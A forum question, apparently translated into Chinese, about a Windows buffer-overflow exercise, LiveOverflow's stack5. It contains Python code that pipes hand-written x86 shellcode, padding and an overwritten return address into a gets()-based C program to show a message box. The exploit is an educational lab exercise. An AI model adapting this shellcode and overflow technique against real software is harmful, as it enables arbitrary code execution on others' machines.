无法通过管道将某些字符从python(windows)传输到另一个程序

2024-09-25 02:41:34 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在尝试解决LiveOverflow的stack5挑战,但由于某些原因,我的有效负载无法正确地导入程序。你知道吗

这个问题似乎是因为windows不允许我在CMD中打印某些十六进制字符引起的。你知道吗

我使用的是python2.7.15和命令py -2 answer.py | stack5.exe。你知道吗

answer.py

import sys

payload = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
           "\x33\xC9\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D"
           "\x03\xF8\xE2\xF0\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDA\x8B"
           "\x53\x3C\x03\xD3\xFF\x72\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33"
           "\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
           "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x49\x8B\x72\x24\x03"
           "\xF3\x66\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x52\x33\xFF"
           "\x57\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53"
           "\xFF\xD2\x68\x33\x32\x01\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65\x72\x54"
           "\xFF\xD0\x68\x6F\x78\x41\x01\x8B\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
           "\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24\x2C\x57\x68\x4F\x5F\x6F\x21\x8B"
           "\xDC\x57\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\x88\x5C\x24\x03"
           "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x40\xFF\x54\x24"
           "\x40\x57\xFF\xD0")

sys.stdout.write(('\x90' + payload + ('\xcc' * ((256 + 12) - len(payload) - 1)) +
                  '\x00\x60\xFD\xB0'[::-1]))

payload source

stack5.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[256];

  gets(buffer);
}

程序退出(可能是因为某个错误),而不是在管道之后弹出一个消息框说'O_o!'。有没有办法通过管道插入有效载荷?你知道吗


Tags: payloadx03xffx8bx6fx68x65x75